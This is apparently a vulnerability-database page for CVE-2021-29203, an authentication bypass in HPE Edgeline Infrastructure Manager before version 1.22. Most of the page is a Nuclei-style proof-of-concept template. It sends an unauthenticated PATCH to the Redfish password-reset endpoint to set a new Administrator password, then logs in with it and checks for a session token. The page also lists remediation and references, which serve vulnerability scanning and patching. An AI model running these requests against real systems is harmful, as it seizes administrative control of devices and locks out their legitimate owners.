CVE-2021-29203: HPE Edgeline Infrastructure Manager <1.22 - Authentication Bypass

2025-08-01 HPE Edgeline Infrastructure Manager PoC Public

Description

HPE Edgeline Infrastructure Manager, also known as HPE Edgeline Infrastructure Management Software, prior to version 1.22 contains an authentication bypass vulnerability which could be remotely exploited to bypass remote authentication and possibly lead to execution of arbitrary commands, gaining privileged access, causing denial of service, and changing the configuration.

PoC

id: CVE-2021-29203

info:
  name: HPE Edgeline Infrastructure Manager <1.22 - Authentication Bypass
  author: madrobot
  severity: critical
  description: HPE Edgeline Infrastructure Manager, also known as HPE Edgeline Infrastructure Management Software, prior to version 1.22 contains an authentication bypass vulnerability which could be remotely exploited to bypass remote authentication and possibly lead to execution of arbitrary commands, gaining privileged access, causing denial of service, and changing the configuration.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive information, unauthorized configuration changes, or disruption of the affected system.
  remediation: |
    Upgrade to HPE Edgeline Infrastructure Manager version 1.22 or later to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-15
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29203
    - https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn04124en_us
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-29203
    cwe-id: CWE-306
    epss-score: 0.68293
    epss-percentile: 0.99294
    cpe: cpe:2.3:a:hp:edgeline_infrastructure_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hp
    product: edgeline_infrastructure_manager
  tags: cve2021,cve,hpe,bypass,tenable,hp,vkev,vuln

http:
  - raw:
      - |
        PATCH /redfish/v1/SessionService/ResetPassword/1/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"Password":"{{randstr}}"}
      - |
        POST /redfish/v1/SessionService/Sessions/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"UserName":"Administrator","Password":"{{randstr}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "X-Auth-Token"
          - "PasswordReset"
          - "Location"
        condition: and

      - type: word
        part: body
        words:
          - "Base.1.0.Created"

      - type: status
        status:
          - 201
# digest: 4b0a00483046022100e6e3c7b85b3259174e9e2089579a98069274ce62a0c33850b4082c31646f781d022100f46ce2f44a33d5a84e3c7489dca48be39f9ec6d0a808d5da87ca7f9dca1c13f8:922c64590222798bb761d5b6d8e72950

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